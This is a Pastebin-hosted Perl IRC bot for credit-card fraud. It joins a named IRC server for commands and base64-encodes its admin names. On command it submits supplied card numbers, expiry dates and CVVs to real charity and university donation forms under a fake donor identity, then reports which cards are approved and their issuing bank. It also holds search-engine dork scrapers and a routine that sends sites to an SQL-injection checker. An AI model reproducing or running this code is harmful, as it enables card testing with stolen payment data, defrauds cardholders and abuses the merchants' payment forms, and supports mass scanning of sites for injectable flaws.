Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/lib/perl
- #SQL SCAN Bot Check By Sysmooss!
- #Call to standalone modules directory
- BEGIN{push(@INC,'Modules');}
- #Modules Inclusion
- use LWP::Socket;
- use LWP::UserAgent;
- use HTTP::Request;
- use Parallel::ForkManager;
- use MIME::Base64 ();
- use WWW::Mechanize;
- use WWW::Mechanize::FormFiller;
- $| = 1;
- #Defines global variable/array
- my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
- my(@chans,@admins,@user_agents);
- # Configurations Variable
- my $outcri = "amFudWFyZHk=";
- $systemcri = MIME::Base64::decode($outcri);
- $timeout = $systemcri;
- my $hostcri = "MzEuMTkyLjIyOC4yMjU=";
- $systemcri = MIME::Base64::decode($hostcri);
- $hosting = "irc.pemudariau.com";
- $port = 6667;
- my $nkpro = "Check-Info";
- $ident = "chk";
- $parallel_fork = 15;
- my @botcmd = ('1');
- @chans = ("#logs");
- my $proo = "amFudWFyZHk=";
- $systempro = MIME::Base64::decode($proo);
- my $cheataer = "amFudWFyZHk=";
- $sistempro = MIME::Base64::decode($cheataer);
- @Sysmooss = ($systempro,$sistempro);
- @user_agents = &get_user_agents();
- #Irc Socket Connection
- my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
- $sysircuno = MIME::Base64::decode($startirc);
- $irc_socket = new LWP::Socket;
- $irc_socket->connect($hosting,$port);
- $irc_socket->write("USER ".$ident." 8 * : chk BoT By theclanz \r\n");
- $irc_socket->write("NICK ".$nkpro."\r\n");
- $irc_socket->write("NICKSERV IDENTIFY 123456\r\n");
- $irc_socket->write("JOIN $chans[0]\r\n");
- $irc_socket->write("JOIN $chans[1]\r\n");
- $irc_socket->write("JOIN $chans[2]\r\n");
- $irc_socket->write("JOIN $chans[3]\r\n");
- $irc_socket->write("JOIN $chans[4]\r\n");
- $irc_socket->write("JOIN $chans[5]\r\n");
- while($irc_socket)
- {
- my $bof;
- $irc_socket->read_until("\n", \$bof);
- if($bof =~ /PING :(.*)/)
- {
- $irc_socket->write("PONG :$1\r\n");
- }
- if($bof =~ /PRIVMSG (.*?) :(.*)/)
- {
- #PRIVMSG
- my %msg = &get_msg($bof);
- if($msg{'what'} =~ /\!join_all/)
- {
- if(&ctrl_admin(\%msg) == 0){
- &respond_to_privmsg(\%msg,"15[7JOIN15]12 ALL KNOWN CHANNELS");
- &join_all();
- }
- }
- if($msg{'what'} =~ /\!cambiarcmd (.*)/){
- my $comma = $1;
- if(&ctrl_admin(\%msg) == 0){
- &respond_to_privmsg(\%msg,"15[7SERViCES15]12 CHANGiNG COMMAND STRING TO !sql${botcmd}");
- &canghecmd($comma);
- }
- }
- if($msg{'what'} =~ /\!cmd/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Bot Checker cc v2.11 1515:9:15: 14) 15:::14Powered by 9Bikersito15:::");
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Owner Bot 15:9:15: 14) 15:::9Bikersito15:::");
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Credit Card 15:9:15: 14) 15:::14 15!chk for 12Visa 04Master07Card 08DISCOVER15::: (ex. !chk <cc num> <exp date> <cvv2> <amount>)");
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Credit Card 15:9:15: 14) 15:::14 15!amex for 12American Express15::: (ex. !amex <cc num> <exp date> <cvv2> <amount>)");
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Location IP 15:9:15: 14) 15:::14 0!ip 15<ip> 14Location Ip and fullinfo15:::");
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Zip Code 15:9:15: 14) 15:::14 15!zip 15<zipcode> 14See Info of zip code15:::");
- }
- if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})\s(\d{1})/)
- {
- my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
- my $var1 = substr($expmes,0,2);
- my $var2 = substr($expmes,2,4);
- &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta14)(15 Exp date: 14 $expmes$expanio 14)( 15CCV2: 14$verifica) (15Amount USD: 9 $amount 14)");
- print "inizio mechanize\n";
- if (substr($numerocarta,0,1)==4) {
- &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12VISA 14(15 Please wait...!14)");
- }
- if (substr($numerocarta,0,1)==5) {
- &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 04Master07Card 14(15 Please wait...!14)");
- }
- if (substr($numerocarta,0,1)==6) {
- &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12DISCOVER 14(15 Please wait...!14)");
- }
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('https://www.allianceonline.org/ondeposit/udonation.php');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(1);
- { local $^W; $agent->current_form->value('Campaing', ''.$General.''); };
- { local $^W; $agent->current_form->value('Amount', ''.$amount.''); };
- { local $^W; $agent->current_form->value('First_name', 'Chuck'); };
- { local $^W; $agent->current_form->value('Last_name', 'Huth'); };
- { local $^W; $agent->current_form->value('Email', 'chuckh@gmail.com'); };
- { local $^W; $agent->current_form->value('Phone', '5778854675'); };
- { local $^W; $agent->current_form->value('Ext', '54'); };
- { local $^W; $agent->current_form->value('Address', '11101 Magnolia Drive'); };
- { local $^W; $agent->current_form->value('Address 2', '11101 Magnolia Drive'); };
- { local $^W; $agent->current_form->value('Department', '11101 Magnolia Drive'); };
- { local $^W; $agent->current_form->value('City', ' Cleveland'); };
- { local $^W; $agent->current_form->value('State', 'Ohio'); };
- { local $^W; $agent->current_form->value('Zip', '44106'); };
- { local $^W; $agent->current_form->value('Zip', '44106'); };
- { local $^W; $agent->current_form->value('Country', 'United States'); };
- { local $^W; $agent->current_form->value('Memory', 'no'); };
- { local $^W; $agent->current_form->value('Matching', 'no'); };
- { local $^W; $agent->current_form->value('pay', 'Credit Card'); };
- { local $^W; $agent->current_form->value('card_num', ''.$numerocarta.''); };
- { local $^W; $agent->current_form->value('exp_month', ''.$var1.''); };
- { local $^W; $agent->current_form->value('exp_year', ''.$var2.''); };
- { local $^W; $agent->current_form->value('card_code', ''.$verifica.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $allo=$agent->content;
- if ($allo =~/The transaction has been declined because of an AVS mismatch./){
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes $expanio $verifica 14) 9APPROVED! 15Transaction. Amount USD:9 $amount 15Thank you for your payment!");
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
- print "card $variable!";
- }
- }
- }elsif ($allo =~/The transaction completed successfully!/){
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica $amountUSD 14) 9APPROVED! 15Transaction. Thank you for your payment.");
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- my $bankinfo = $1;
- &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
- print "card $variable!";
- }
- }
- }elsif ($allo =~/Credit card expiration date is invalid./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 is invalid.");
- }elsif ($allo =~/The transaction has been declined because of an AVS mismatch./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED");
- }elsif ($allo =~/The credit card has expired./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 4 $expmes$expanio 14$verifica)15 The credit card has expired.");
- }elsif ($allo =~/The credit card expiration date entered is not valid./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 Not is Valid.");
- }elsif ($allo =~/A duplicate transaction has been submitted./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 A duplicate transaction has been submitted.");
- }elsif ($allo =~/A duplicate transaction has been submitted./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
- }elsif ($allo =~/The credit card number entered is not valid./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
- }elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
- }elsif ($allo =~/This transaction has been declined./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
- }elsif ($allo =~/The credit card number is invalid./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
- }
- }
- if($msg{'what'} =~ /\!bank\s(\d{6})/){
- my ($numerocarta) = ($1);
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~m/$nuova\|(.*)/){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
- }
- }
- }
- if($msg{'what'} =~ /\!raw (.*)/)
- {
- my $raw = $1;
- if(&ctrl_admin(\%msg) == 0){
- &respond_to_privmsg(\%msg,"15[7RAW15]12 SENDING IRC RAW REQUESTED");
- $irc_socket->write($raw."\r\n");
- }
- }
- if($msg{'what'} =~ /\!ip (.*)/)
- {
- my ($iploca) = ($1);
- chop($iploca);
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking... 1515:9:15: 14) 0::: $iploca :::");
- print "inizio mechanize\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://www.ip2location.com/'.$iploca.'');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- print $agent->content,"\n";
- my $ipwork=$agent->content;
- if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Country 1515:9:15: 14) $1");
- }
- if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Region 1515:9:15: 14) $1");
- }
- if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 City 1515:9:15: 14) $1");
- }
- if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Time 1515:9:15: 14) $1");
- }
- if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Speed 1515:9:15: 14) $1");
- }
- if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 IPS 1515:9:15: 14) $1");
- }
- if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Domain 1515:9:15: 14) $1");
- }
- }
- if($msg{'what'} =~ /\!amex\s(\d{15})\s(\d{4})\s(\d{4})\s(\d{1})/)
- {
- my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
- my $var1 = substr($expmes,0,2);
- my $var2 = substr($expmes,2,4);
- &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta14)(15 Exp date: 14 $expmes$expanio 14)( 15CCV2: 14$verifica) (15Amount USD: 9 $amount 14)");
- print "inizio mechanize\n";
- if (substr($numerocarta,0,1)==3) {
- &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12American Express");
- }
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://www.hua.edu/donate.php');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(1);
- { local $^W; $agent->current_form->value('first_name', 'Chuck'); };
- { local $^W; $agent->current_form->value('last_name', 'Huth'); };
- { local $^W; $agent->current_form->value('address', '11101 Magnolia Drive'); };
- { local $^W; $agent->current_form->value('city', ' Cleveland'); };
- { local $^W; $agent->current_form->value('state', 'Ohio'); };
- { local $^W; $agent->current_form->value('zip', '44106'); };
- { local $^W; $agent->current_form->value('country', 'United States'); };
- { local $^W; $agent->current_form->value('phone', '5778854675'); };
- { local $^W; $agent->current_form->value('email', 'chuckh@gmail.com'); };
- { local $^W; $agent->current_form->value('card_num', ''.$numerocarta.''); };
- { local $^W; $agent->current_form->value('exp_month', ''.$var1.''); };
- { local $^W; $agent->current_form->value('exp_year', ''.$var2.''); };
- { local $^W; $agent->current_form->value('card_code', ''.$verifica.''); };
- { local $^W; $agent->current_form->value('description', 'chuck huth'); };
- { local $^W; $agent->current_form->value('amount', ''.$amount.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $allo=$agent->content;
- if ($allo =~/The transaction has been declined because of an AVS mismatch./){
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes $expanio $verifica 14) 9APPROVED! 15Transaction. Amount USD:9 $amount 15Thank you for your payment!");
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
- print "card $variable!";
- }
- }
- }elsif ($allo =~/The transaction completed successfully!/){
- my $database = "banklist.txt";
- open FILE,"$database" or die "Errore nell'apertura: $!";
- my @results=<FILE>;
- close FILE;
- my $bankinfo = $1;
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica $amountUSD 14) 9APPROVED! 15Transaction. Thank you for your payment.");
- my $nuova = substr($numerocarta,0,6);
- foreach my $url (@results){
- if($url =~ m/$nuova\|(.*)/){
- my $bankinfo = $1;
- &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
- print "card $variable!";
- }
- }
- }elsif ($allo =~/Credit card expiration date is invalid./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 is invalid.");
- }elsif ($allo =~/The transaction has been declined because of an AVS mismatch./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED");
- }elsif ($allo =~/The credit card has expired./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 4 $expmes$expanio 14$verifica)15 The credit card has expired.");
- }elsif ($allo =~/The credit card expiration date entered is not valid./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 Not is Valid.");
- }elsif ($allo =~/A duplicate transaction has been submitted./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 A duplicate transaction has been submitted.");
- }elsif ($allo =~/Unfortunately, we were unable to process the transaction using the payment information you provided./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
- }elsif ($allo =~/The credit card number entered is not valid./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
- }elsif ($allo =~/This transaction has been declined./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
- }elsif ($allo =~/An error has occured. This transaction cannot be processed./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
- }elsif ($allo =~/The credit card number is invalid./){
- &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
- }
- }
- if($msg{'what'} =~ /\!zip\s(\d{5})/)
- {
- my ($zipcheck) = ($1);
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $zipcheck ::: please wait...");
- print "inizio mechanize\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $zipse=$agent->content;
- if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
- $luogo = $1;
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $luogo ::: ");
- }
- elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
- &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $zipcheck Not found! ::: ");
- }
- }
- }
- }
- sub ctrl_admin()
- {
- my $data = $_[0];
- foreach my $admin ( @Sysmooss )
- {
- if($admin eq $data->{'from'})
- {
- return(0);
- }
- }
- &respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
- return(-1);
- }
- sub respond_to_privmsg()
- {
- my ($data,$m) = ($_[0],$_[1]);
- if($data->{'to'} =~ /#/)
- {
- &privmsg($data->{'to'},$m);
- }
- else
- {
- &privmsg($data->{'from'},$m);
- }
- }
- sub privmsg()
- {
- my($nick,$send) = @_;
- $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
- }
- sub join_all()
- {
- foreach my $chan ( @chans )
- {
- $irc_socket->write("JOIN ".$chan."\r\n");
- }
- }
- sub get_msg()
- {
- my $line = $_[0];
- my %data;
- #:Mic22!~TheClanz-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
- if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
- {
- #$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
- $data{'from'} = $1;
- $data{'to'} = $3;
- $data{'what'} = $4;
- }
- return(%data);
- }
- sub http_request()
- {
- my($site,$request,$ua,$resp,$cnt);
- $site = $_[0];
- $site =~ s/[\r\n]//g;
- $request = HTTP::Request->new(GET => $site);
- $ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
- $ua->timeout($timeout);
- $resp = $ua->request($request);
- $cnt = $resp->content();
- return($cnt);
- }
- sub get_user_agents()
- {
- my @us_ag = (
- "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
- "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
- "Opera/8.5 (X11; Linux i686; U; cs)",
- "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
- );
- return(@us_ag);
- }
- sub get_all_host()
- {
- my $site = $_[0];
- my @dirs = ();
- my @ret = ();
- my $tmp = "";
- $site =~ s/http:\/\///g;
- $site =~ s/[\r\n]//g;
- $site =~ s/\/\///g;
- if($site !~ /\/$/)
- {
- $site .= "/";
- }
- @dirs = split(/\//,$site);
- $tmp = $dirs[0] . "/";
- push(@ret,$tmp);
- for($i = 1; $i < scalar(@dirs); $i++)
- {
- $tmp .= $dirs[$i] . "/";
- push(@ret,$tmp);
- }
- return(@ret);
- }
- sub urlencode()
- {
- my $str = $_[0];
- $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
- return $str;
- }
- sub unique()
- {
- my @unici = ();
- my %visti = ();
- foreach my $elemento (@_) {
- $elemento =~ s/\/+/\//g;
- next if $visti{$elemento}++;
- push @unici, $elemento;
- }
- return @unici;
- }
- sub find_all_sites()
- {
- my ($data,$dork) = @_;
- my $tmp_file_name = rand(999999) . ".txt";
- my @pids_array = ();
- my @data_links = ();
- my @site_finded = ();
- my @site_cleaned = ();
- $dork =~ s/[\r\n]//g;
- &respond_to_privmsg($data,"15[7INFO15]12 START TO FIND ALL SITES FOR \"".$dork."\" ");
- $pids_array[0] = fork();
- if($pids_array[0] == 0)
- {
- @data_links = &google($dork);
- &respond_to_privmsg($data,"15[7GOOGLE15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
- &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
- exit(0);
- }
- $pids_array[1] = fork();
- if($pids_array[1] == 0)
- {
- @data_links = &yahoo($dork);
- &respond_to_privmsg($data,"15[7YAHOO15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
- &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
- exit(0);
- }
- $pids_array[2] = fork();
- if($pids_array[2] == 0)
- {
- @data_links = &altavista($dork);
- &respond_to_privmsg($data,"15[7ALTAVISTA15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
- &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
- exit(0);
- }
- $pids_array[3] = fork();
- if($pids_array[3] == 0)
- {
- @data_links = &msn($dork);
- &respond_to_privmsg($data,"15[7BiNG15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
- &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
- exit(0);
- }
- $pids_array[4] = fork();
- if($pids_array[4] == 0)
- {
- @data_links = &ask($dork);
- &respond_to_privmsg($data,"15[7ASK.COM15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
- &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
- exit(0);
- }
- $pids_array[5] = fork();
- if($pids_array[5] == 0)
- {
- @data_links = &webcrawler($dork);
- &respond_to_privmsg($data,"15[7WEBCRAWLER15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
- &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
- exit(0);
- }
- foreach my $pid_one ( @pids_array )
- {
- waitpid($pid_one,0);
- }
- @site_finded = &read_all_file_array($tmp_file_name);
- &respond_to_privmsg($data,"15[7INFO15]12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
- @site_cleaned = &unique(@site_finded);
- &respond_to_privmsg($data,"15[7INFO15]12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
- unlink($tmp_file_name);
- return(@site_cleaned);
- }
- sub canghecmd()
- {
- my $n = $_[0];
- push(@botcmd,$n);
- }
- sub read_all_file_array()
- {
- my $file = $_[0];
- my @ret = ();
- open(FILE,'<',$file);
- while($a = <FILE>)
- {
- $a =~ s/[\r\n]//g;
- push(@ret,$a);
- }
- close(FILE);
- return(@ret);
- }
- sub write_to_file_array()
- {
- my ($file,$data,$scal) = @_;
- for($i = 0; $i < $scal; $i++)
- {
- &write_to_file($file,$data->[$i]);
- }
- }
- sub write_to_file()
- {
- my($file,$data) = @_;
- open(FILE,'>>',$file);
- print FILE $data . "\n";
- close(FILE);
- }
- sub google()
- {
- my $dork = &urlencode($_[0]);
- my $html = "";
- my @results = ();
- my @unique_links = ();
- for($i = 0; $i < 300; $i += 100)
- {
- $html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
- }
- while($html =~ m/<li class=g><h3 class=r><a href=\"http:\/\/(.+?)\" class=l/g)
- {
- my @tmp_link = &get_all_host($1);
- push(@results,@tmp_link);
- }
- @unique_links = &unique(@results);
- return(@unique_links);
- }
- sub altavista()
- {
- my $dork = &urlencode($_[0]);
- my $html = "";
- my @results = ();
- my @unique_links = ();
- for($i = 0; $i < 1000; $i += 10)
- {
- $html .= &http_request("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&q=".$dork."&stq=".$i);
- }
- while($html =~ m/<span class=ngrn>(.+?) <\/span>/g)
- {
- my @tmp_link = &get_all_host($1);
- push(@results,@tmp_link);
- }
- @unique_links = &unique(@results);
- return(@unique_links);
- }
- sub yahoo()
- {
- my $dork = &urlencode($_[0]);
- my $html = "";
- my @results = ();
- my @unique_links = ();
- for($i = 0; $i < 1000; $i += 100)
- {
- $html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i);
- }
- while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g)
- {
- my $link = $1;
- if($link !~ /yahoo/)
- {
- my @tmp_link = &get_all_host($link);
- push(@results,@tmp_link);
- }
- }
- @unique_links = &unique(@results);
- return(@unique_links);
- }
- sub msn()
- {
- my $dork = &urlencode($_[0]);
- my $html = "";
- my @results = ();
- my @unique_links = ();
- for($i = 0; $i < 1000; $i += 10)
- {
- $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
- }
- while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
- {
- my @tmp_link = &get_all_host($1);
- push(@results,@tmp_link);
- }
- @unique_links = &unique(@results);
- return(@unique_links);
- }
- sub ask()
- {
- my $dork = &urlencode($_[0]);
- my $html = "";
- my @results = ();
- my @unique_links = ();
- for($i = 0; $i < 9; $i += 1)
- {
- $html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
- }
- while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
- {
- my @tmp_link = &get_all_host($1);
- push(@results,@tmp_link);
- }
- @unique_links = &unique(@results);
- return(@unique_links);
- }
- sub webcrawler()
- {
- my $dork = &urlencode($_[0]);
- my $html = "";
- my @results = ();
- my @unique_links = ();
- for($i = 0; $i < 100; $i += 10)
- {
- $html .= &http_request("http://www.webcrawler.com/webcrawler/ws/results/Web/".$dork."/3/0/0/Relevance/zoom=off/qi=".$i."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
- }
- while($html =~ m/target=\"_blank\">(.+?)<\/a>/g)
- {
- my @tmp_link = &get_all_host($1);
- push(@results,@tmp_link);
- }
- @unique_links = &unique(@results);
- return(@unique_links);
- }
- sub racchiudi
- {
- chomp($website);
- chop($website);
- my $website = shift;
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->submit();
- print "ecco: $website--\n";
- if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
- &respond_to_privmsg(\%msg,"15[7SERViCES15]12 Version: ".$1." ");
- print "versione ".$1." ";
- }else{
- $irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement